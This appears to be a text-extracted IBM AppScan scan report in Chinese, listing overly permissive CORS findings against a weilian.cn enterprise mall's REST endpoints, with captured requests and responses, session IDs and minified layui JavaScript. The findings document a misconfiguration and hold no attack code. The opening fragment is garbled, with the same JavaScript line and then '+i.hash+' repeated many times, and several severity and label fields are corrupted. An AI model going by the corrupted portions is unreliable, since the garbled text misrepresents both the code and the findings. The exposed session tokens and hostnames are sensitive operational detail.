 \text{i.elem.html(u):a[t](i.elem)\&\&(a[t](i.elem).innerHTML=u),i.jump\&\&i.jump(i,e);var s=a[t]("layui-telem).} \\
laypage-"+i.index); n.jump(s), i.hash&&!e&&(location.hash="!"+i.hash+"="+i.curr), n.skip(s) \}; var s=0. \\ laypage-"+i.index); n.jump(s), i.hash&&!e&&(location.hash="!"+i.hash+"="+i.curr), n.skip(s) \}; var s=0. \\ laypage-"+i.index); n.jump(s), i.hash&&!e&&(location.hash="!"+i.hash+"="+i.curr), n.skip(s) \}; var s=0. \\ laypage-"+i.index); n.jump(s), i.hash&&!e&&(location.hash="!"+i.hash+"="+i.curr), n.skip(s) \}; var s=0. \\ laypage-"+i.index); n.jump(s), i.hash&&!e&&(location.hash="!"+i.hash+"="+i.curr), n.skip(s) \}; var s=0. \\ laypage-"+i.index); n.jump(s), i.hash&&!e&&(location.hash="!"+i.hash+"="+i.curr), n.skip(s) \}; var s=0. \\ laypage-"+i.index); n.jump(s), i.hash&&!e&&(location.hash="!"+i.hash+"="+i.curr), n.skip(s) \}; var s=0. \\ laypage-"+i.index); n.jump(s), i.hash&&!e&&(location.hash="!"+i.hash+"+i.curr), n.skip(s) \}; var s=0. \\ laypage-"+i.index); n.jump(s), i.hash&&!e&&(location.hash="!"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.hash+"+i.
 {render:function(e) {var a=new u(e);return a.index},index:layui.laypage?layui.laypage.inde
 . . .
 . . .
```

问题 23 / 51 Toc

过度许可的 CORS 访问测试	
严重性:	€ The state of th
CVSS 分数:	5.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/getGoodsListToBrand
实体:	getGoodsListToBrand (Page)
	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改"Access-Control-Allow-Origin"头以仅获取允许的站点

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /goodsRestApi/getGoodsListToBrand?keyword=dsfdsafsa HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US,en;q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
```

```
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:11:29 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "data": [
                 "enterpriseid": 55,
                 "brandid": 4412,
                 "opcode": "DSFDSAFSA",
                 "brandname": "dsfdsafsa",
                 "status": 1
 "returnCode": 1,
 "msg": null,
 "html": null
```

问题 **24** / **51** Toc

过度许可的 CORS 访问测试	
严重性:	1E
CVSS 分数:	5.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/goodsbatchDelete
实体:	goodsbatchDelete (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改"Access-Control-Allow-Origin"头以仅获取允许的站点

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
POST /goodsRestApi/goodsbatchDelete HTTP/1.1
Content-Length: 35
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
Accept-Language: en-US,en;q=0.8
```

```
"goodsInfos": [
                 "goodsid": 105172
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:11:51 GMT
Content-Type: application/json
Transfer-Encoding: chunked
{
  "data": [
 "returnCode": 1,
 "msg": "
              请先将资产编码为0156474的资产下架!",
 "html": null
```

问题 25 / 51 Toc

过度许可的 CORS 访问测试	
严重性:	€ The state of th
CVSS 分数:	5.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/goodsAddToSave
实体:	goodsAddToSave (Page)
A A	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改"Access-Control-Allow-Origin"头以仅获取允许的站点

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
POST /goodsRestApi/goodsAddToSave HTTP/1.1
Content-Length: 624
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
```

```
Content-Type: application/json
Accept-Language: en-US, en; q=0.8
 "goodsname": "werdhgf",
 "goodstype": "0",
"goodscode": "0200202",
 "goodsid": "",
"status": "1",
 "goodsclassid": "2702",
 "goodsclassname": "\u529e\u516c\u8017\u6750",
 "goodsclassnameek": "02",
 "goodsspec": "hh",
"goodsmodel": "resadsa",
 "baseprice": "999",
"goodsunit": "gechi",
"brandname": "dsfdsafsa",
 "brandid": "",
 "opcode": "",
 "barcode": "rewqrewq",
 "approvaltypeid": "1",
 "gsbmid": "3",
"level": "4",
 "goodslevelid": "3",
 "inputmanname": "\u8d44\u6e90\u5546\u57ce\u6d4b\u8bd501",
 "inputmanid": "2",
"bookindateStr": "2018-01-11 18:55:56",
"goodsimgurl": " http://cms.mall.xt.weilian.cn/d/4050941e4e7cba7c418d26267922015f",
 "basegoodsimgurl": "",
 "dtlgoodsimgurl": ""
HTTP/1.1 204 No Content
Content-Length: 0
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:11:33 GMT
```

问题 26 / 51 Toc

过度许可的 CORS 访问测试	
严重性:	€ The state of th
CVSS 分数:	5.0
URL:	http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/lay/modules/table.js
实体:	table.js (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改"Access-Control-Allow-Origin"头以仅获取允许的站点

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /static/orderpage/lay/modules/table.js HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
Accept: */*
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Content-Length: 20385
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:10:55 GMT
/** layui-v2.2.2 MIT License By http://www.layui.com */
 ; layui.define(["laytpl", "laypage", "layer", "form"], function(e) { "use strict"; var
t=layui.$,i=layui.laytpl,a=layui.laypage,l=layui.layer,n=layui.form,o=layui.hint(),r=layui.device
(),d={config:{checkName:"LAY CHECKED",indexName:"LAY TABLE INDEX"},cache:{},index:layui.table?
layui.table.index+1e4:0, set:function(e) {var i=this; return
i.config=t.extend({},i.config,e),i},on:function(e,t){return
layui.onevent.call(this,s,e,t)}},c=function(){var e=this,t=e.config,i=t.id;return i&&
 (c.config[i]=t), {reload:function(t) {e.reload.call(e,t)}, config:t}}, s="table", u=".layui-
table", h="layui-hide", f="layui-none", y="layui-table-view", p=".layui-table-header", m=".layui-
table-body", v=".layui-table-main", q=".layui-table-fixed", x=".layui-table-fixed-l", b=".layui-
table-fixed-r", k=".layui-table-tool", C=".layui-table-page", w=".layui-table-sort", N="layui-table-
edit",F="layui-table-hover",W=function(e){var t='{{#if(item2.colspan){}}} colspan="
{{item2.colspan}}"{{#}} if(item2.rowspan){}} rowspan="{{item2.rowspan}}"{{#}}}, return e=e||{},
 ['<table cellspacing="0" cellpadding="0" border="0" class="layui-table" ','{{# if(d.data.skin){
\label{lay-skin} $$ \| (d.data.skin) \|^{\# } } { {\# if(d.data.size) { }} \| (d.data.size) \|^{\# } } $$
{ \text{ if (d.data.even) { }}}lay-even{ \text{ }}})>',"<thead>","{{# layui.each(d.data.cols, function(i1,
item1){ }}","","{{# layui.each(item1, function(i2, item2){ }}",'{{# if(item2.fixed &&
item2.fixed !== "right"){ left = true; } }}','{{\# if(item2.fixed === "right"){ right = true; }
}}',function(){return e.fixed&&"riqht"!==e.fixed?'{{# if(item2.fixed && item2.fixed !== "riqht"){
}}':"right"===e.fixed?'{{# if(item2.fixed === "right"){ }}':""}(),'
item2.field||i2 }}" {{# if(item2.minWidth) { }}data-minWidth="{{item2.minWidth}}"{{# } }} '+t+'
{{\psi if(item2.unresize)} {\}data-unresize="true"{{\psi }\}','<div class="layui-table-cell laytable-
cell-',"{{# if(item2.colspan > 1){ }}","group","{{# } else { }}","{{d.index}}-{{item2.field ||
i2}}",'{{# if(item2.type !== "normal"){ }}'," laytable-cell-{{ item2.type }}","{{# }
}}"," {{#if(item2.align){}}align="{{item2.align}}"{{#}}}>','{{# if(item2.type === "checkbox"){
}}','<input type="checkbox" name="layTableCheckbox" lay-skin="primary" lay-
filter="layTableAllChoose" {{# if(item2[d.data.checkName]){ }}checked{{# }; }}>',"{{# } else {
}}",'<span>{{item2.title||""}}</span>',"{{# if(!(item2.colspan > 1) && item2.sort){ }}",'<span
class="layui-table-sort layui-inline"><i class="layui-edge layui-table-sort-asc"></i>
"].join("")},z=['
 ','{{# if(d.data.skin){ }}lay-skin="{{d.data.skin}}"{{# } }} {{# if(d.data.size){ }}lay-size="
{{d.data.size}}"{{# } }} {{# if(d.data.even){ }}lay-even{{# } }}>',"","
"].join(""),T=['<div class="layui-form layui-border-box {{d.VIEW CLASS}}" lay-</pre>
filter="LAY-table-{{d.index}}" style="{{# if(d.data.width){ }}width:{{d.data.width}}px;{{# } }}
 \{ \{ \# \ if(d.data.height) \} \} height: \{ \{ d.data.height \} \} px; \{ \{ \# \ \} \ \} ">", " \{ \{ \# \ if(d.data.toolbar) \} \} height: \{ \{ d.data.height \} \} px; \{ \{ \# \ \} \} \} ">", " \{ \{ \# \ if(d.data.toolbar) \} \} height: \{ \{ d.data.height \} \} px; \{ \{ \# \ \} \} \} ">", " \{ \{ \# \ if(d.data.toolbar) \} \} height: \{ \{ d.data.height \} \} px; \{ \{ \# \ \} \} \} ">", " \{ \{ \# \ if(d.data.toolbar) \} \} height: \{ \{ \# \ \} \} \} ">", " \{ \{ \# \ \} \} \} ">", " \{ \{ \# \ \} \} \} ">", " \{ \{ \# \ \} \} \} ">", " \{ \{ \# \ \} \} \} ">", " \{ \{ \# \ \} \} \} ">", " \{ \{ \# \ \} \} \} ">", " \{ \{ \# \ \} \} \} ">", " \{ \{ \# \ \} \} \} ">", " \{ \{ \# \ \} \} \} ">", " \{ \{ \# \ \} \} \} ">", " \{ \{ \# \ \} \} \} ">", " \{ \{ \# \ \} \} \} ">", " \{ \{ \# \ \} \} \} ">", " \{ \{ \# \ \} \} \} ">", " \{ \{ \# \ \} \} \} ">", " \{ \{ \# \ \} \} \} ">", " \{ \{ \# \ \} \} \} ">", " \{ \{ \# \ \} \} \} ">", " \{ \{ \# \ \} \} \} ">", " \{ \{ \# \ \} \} \} ">", " \{ \{ \# \ \} \} \} ">", " \{ \{ \# \ \} \} \} ">", " \{ \{ \# \ \} \} \} ">", " \{ \{ \# \ \} \} ">", " \{ \{ \# \ \} \} \} ">", " \{ \{ \# \ \} \} \} ">", " \{ \{ \# \ \} \} ">", " \{ \{ \# \ \} \} \} ">", " \{ \{ \# \ \} \} ">", " \{ \{ \# \ \} \} ">", " \{ \{ \# \ \} \} ">", " \{ \{ \# \ \} \} ">", " \{ \{ \# \ \} \} ">", " \{ \{ \# \ \} \} ">", " \{ \{ \# \ \} \} ">", " \{ \{ \# \ \} \} ">", " \{ \{ \# \ \} \} ">", " \{ \{ \# \ \} \} ">", " \{ \{ \# \ \} \} ">", " \{ \{ \# \ \} \} ">", " \{ \{ \# \ \} \} ">", " \{ \{ \# \ \} \} ">", " \{ \{ \# \ \} \} ">", " \{ \{ \# \ \} \} ">", " \{ \{ \# \ \} \} ">", " \{ \{ \# \ \} \} ">", " \{ \{ \# \ \} \} ">", " \{ \{ \# \ \} \} ">", " \{ \{ \# \ \} \} ">", " \{ \{ \# \ \} \} ">", " \{ \{ \# \ \} \} ">", " \{ \{ \# \ \} \} ">", " \{ \{ \# \ \} \} ">", " \{ \{ \# \ \} \} ">", " \{ \{ \# \ \} \} ">", " \{ \{ \# \ \} \} ">", " \{ \{ \# \ \} \} ">", " \{ \{ \# \ \} \} ">", " \{ \{ \# \ \} \} ">", " \{ \{ \# \ \} \} ">", " \{ \{ \# \ \} \} ">", " \{ \{ \# \ \} \} ">", " \{ \{ \# \ \} \} ">", " \{ \{ \# \ \} \} ">", " \{ \{ \# \ \} \} " \} ">", " \{ \{ \# \ \} \} " \} ">", " \{ \{ \# \ \} \} " \} ">", " \{ \{ \# \ \} \} " \} " \} " \} " \} " ", " \{ \{ \# \ \} \} " \} " \} " \} " ", " \{ \{ \# \ \} \} " \} " ", " \{ \{ \# \ \} \} " \} " ", " \{ \{ \# \ \} \} " \} " ", " \{ \{ \# \ \} \} " \} " ", " \{ \{ \# \ \} \} " \} " ", " \{ \{ \# \ \} \} " \} " ", " \{ \{ \# \ \} \} " \} " ", " \{ \{ \# \ \} \} " ", " \{ \{ \# \ \} \} " \} " ", " \{ \{ \# \ \} \} " ", " \{ \{ \# \ \} \} " "
}}",'<div class="layui-table-tool"></div>',"{{# } }}",'<div class="layui-table-box">',"{{# var
\tt left, \; right; \; \tt \} \tt ", ' < div \; class = "layui-table-header" >', \tt W(), " < / div > ", ' < div \; class = "layui-table-body | layer | l
layui-table-main">',z,"</div>","{{# if(left){ }}",'<div class="layui-table-fixed layui-table-
fixed-l">','<div class="layui-table-header">',W({fixed:!0}),"</div>",'<div class="layui-table-
body">',z,"</div>","</div>","{{# }; }}","{{# if(right){ }}",'<div class="layui-table-fixed layui-
table-fixed-r">','<div class="layui-table-header">',W({fixed:"right"}),'<div class="layui-table-
mend"></div>',"</div>",'<div class="layui-table-body">',z,"</div>","</div>","{{# }; }}",
</div>","{{# if(d.data.page){}}",'<div class="layui-table-page">','<div id="layui-table-
page \{ \{d.index\} \}"></div>","</div>"," \{ \# \ \} \}"," < style>"," \{ \# \ layui.each(d.data.cols, function(il, function)) | function(il, function) |
item1) {","layui.each(item1, function(i2, item2) {
. . .
. . .
```

问题 **27** / **51** Toc

过度许可的 CORS 访问测试	
严重性:	fit.
CVSS 分数:	5.0
URL:	http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/lay/modules/laytpl.js
实体:	laytpl.js (Page)
MRM:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
风险:	

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /static/orderpage/lay/modules/laytpl.js HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
Accept: */*
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Content-Length: 1835
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:10:55 GMT
/** layui-v2.2.2 MIT License By http://www.layui.com */
   ; layui.define(function(e){"use strict"; var r={open:"{{",close:"}}"},c={exp:function(e){return
\label{eq:continuous} \mbox{new RegExp(e,"g")}, \mbox{query:function(e,c,t)} \\ \mbox{var o=["#([\s\\S])+?","([^{#}])*?"][e||0]; return} \\ \mbox{return} \\ \mbox{result} \\ \m
\label{eq:normalized} \\ \text{n((c||"")+r.open+o+r.close+(t||""))}, escape: \\ \text{function(e)} \\ \text{freturn String(e||"").replace($/\&(?!\#?[a-t])$)}. \\ \text{function(e)} \\ \text{function(e)
zA-Z0-
 9]+;)/g,"&").replace(/</g,"&lt;").replace(/>/g,"&gt;").replace(/'/g,"&#39;").replace(/"/g,"&f
uot;")},error:function(e,r){var c="Laytpl Error: ";return"object"==typeof
console&&console.error(c+e+"\n"+(r||"")),c+e}},n=c.exp,t=function(e)
{this.tpl=e};t.pt=t.prototype,window.errors=0,t.pt.parse=function(e,t){var
o=this,p=e,a=n("^"+r.open+"#",""),l=n(r.close+"$","");e=e.replace(/\s+|\r|\t|\n/g,"
 ").replace(n(r.open+"#"),r.open+"# ").replace(n(r.close+"}"),"}
"+r.close).replace(/\\/g, "\\\").replace(n(r.open+"!(.+?)!"+r.close),function(e){return} replace(form) replace(fo
\texttt{e=e.replace} \\ \texttt{(n'("^"+r.open+"!"),"").replace} \\ \texttt{(n'("!"+r.close),"").replace} \\ \texttt{(n(r.open+"|"+r.close),functing)} \\ \texttt{(n'n')} \\ \texttt{(n'n')} \\ \texttt{(n')} \\ \texttt{(n
 on(e) \{ return \ e.replace(/(.)/g,"\\$1") \}) \}) . replace(/(?="|')/g,"\") . replace(c.query(),function(e) \} 
e=e.replace(a,"").replace(1,""),'";'+e.replace(///q,"")+';view+="'}).replace(c.query(1),function
 (e) {var c='"+(';return e.replace(/\s/g,"")===r.open+r.close?"":
 (e=e.replace(n(r.open+"|"+r.close),""),/^=/.test(e)&&
  (e=e.replace(/^=/,""),c='"+_escape_('),c+e.replace(/\\/g,"")+')+"')}),e='"use strict";var view =
 "'+e+'";return view;';try{return o.cache=e=new Function("d, _escape_",e),e(t,c.escape)}catch(u)
 {return delete o.cache,c.error(u,p)}},t.pt.render=function(e,r){var n,t=this;return e?(n=t.cache?
t.cache(e,c.escape):t.parse(t.tpl,e),r?void r(n):n):c.error("no data")};var o=function(e)
```

```
{return"string"!=typeof e?c.error("Template not found"):new t(e)};o.config=function(e){e=e||
{};for(var c in e)r[c]=e[c]},o.v="1.2.0",e("laytp1",o)});
```

问题 **28** / **51** Toc

过度许可的 CORS 访问测试	
严重性:	1E
CVSS 分数:	5.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/batchImportGood
实体:	batchImportGood (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改"Access-Control-Allow-Origin"头以仅获取允许的站点

变体-|1/2

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多

测试请求和响应:

```
POST /goodsRestApi/batchImportGood HTTP/1.1
Content-Length: 227
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: */*
\texttt{Content-Type: multipart/form-data; boundary=----WebKitFormBoundarythoam5frXo2inZgB}
Accept-Language: en-US, en; q=0.8
\verb|-----WebKitFormBoundarythoam5frXo2inZgB||
Content-Disposition: form-data; name="file"; filename=""
Content-Type: application/octet-stream
IBM AppScan binary content place holder
-----WebKitFormBoundarythoam5frXo2inZgB--
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:11:40 GMT
Content-Type: application/json;charset=utf-8
Transfer-Encoding: chunked
```

```
"data": [
],
    "returnCode": 0,
    "msg": " 文件解析异常,请检查文件格式和文件内容! java.lang.IllegalArgumentException: Your
InputStream was neither an OLE2 stream, nor an OOXML stream",
    "html": null
}
```

变体-|2/2

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多

测试请求和响应:

```
POST /goodsRestApi/batchImportGood HTTP/1.1
Content-Length: 256
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: \verb|http://system-rest-enterprise.mall.xt.weilian.cn|
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: */*
\texttt{Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjaKGfPsCNcCix28n}
Accept-Language: en-US, en; q=0.8
-----WebKitFormBoundaryjaKGfPsCNcCix28n
Content-Disposition: form-data; name="file"; filename="资产信息导入模板.xlsx"
{\tt Content-Type: application/octet-stream}
IBM AppScan binary content place holder
-----WebKitFormBoundaryjaKGfPsCNcCix28n--
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:11:40 GMT
Content-Type: application/json; charset=utf-8
Transfer-Encoding: chunked
 "data": [
 "returnCode": 0,
               文件解析异常,请检查文件格式和文件内容! java.lang.IllegalArgumentException: Your
 "msq": "
InputStream was neither an OLE2 stream, nor an OOXML stream",
 "html": null
```

问题 29 / 51 Toc

过度许可的 CORS 访问测试	
严重性:	€ The state of th
CVSS 分数:	5.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/exportGoodsInfo
实体:	exportGoodsInfo (Page)
RFM:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改"Access-Control-Allow-Origin"头以仅获取允许的站点

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /goodsRestApi/exportGoodsInfo?
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with.content-type.sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Content-Disposition: attachment; filename=♦ 1 ♦ ♦ ♦ ₩201801121111144.xls
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:11:45 GMT
Content-Type: application/json
Transfer-Encoding: chunked
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问题 30 / 51 Toc

过度许可的 CORS 访问测试	
严重性:	1E
CVSS 分数:	5.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsclass/goodsclassList
实体:	goodsclassList (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
风险: 原因:	

变体-|1/10

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /goodsclass/goodsclassList?
draw=1&start=0&length=15&search%5Bvalue%5D=&search%5Bregex%5D=false&pageNum=1&searchValue=
HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36

Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US,en;q=0.8
```

```
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:12:21 GMT
Content-Type: application/json
Transfer-Encoding: chunked
{
  "data": [
                  "startIndex": 0,
                  "pageSize": 15,
                  "totalCount": 22,
                  "results": [
                                  "enterpriseid": 55,
                                  "classid": 2723,
                                  "classcode": "01007",
                                  "classname": "20180104",
                                  "level": 2,
                                  "endflag": 1,
                                  "status": 1,
                                  "parentcode": "01",
                                  "imgurl": "",
                                  "seq": "3",
                                  "parentclassname": "
                                                            设备类",
                                  "goodsclassChildList": null
                                  "enterpriseid": 55,
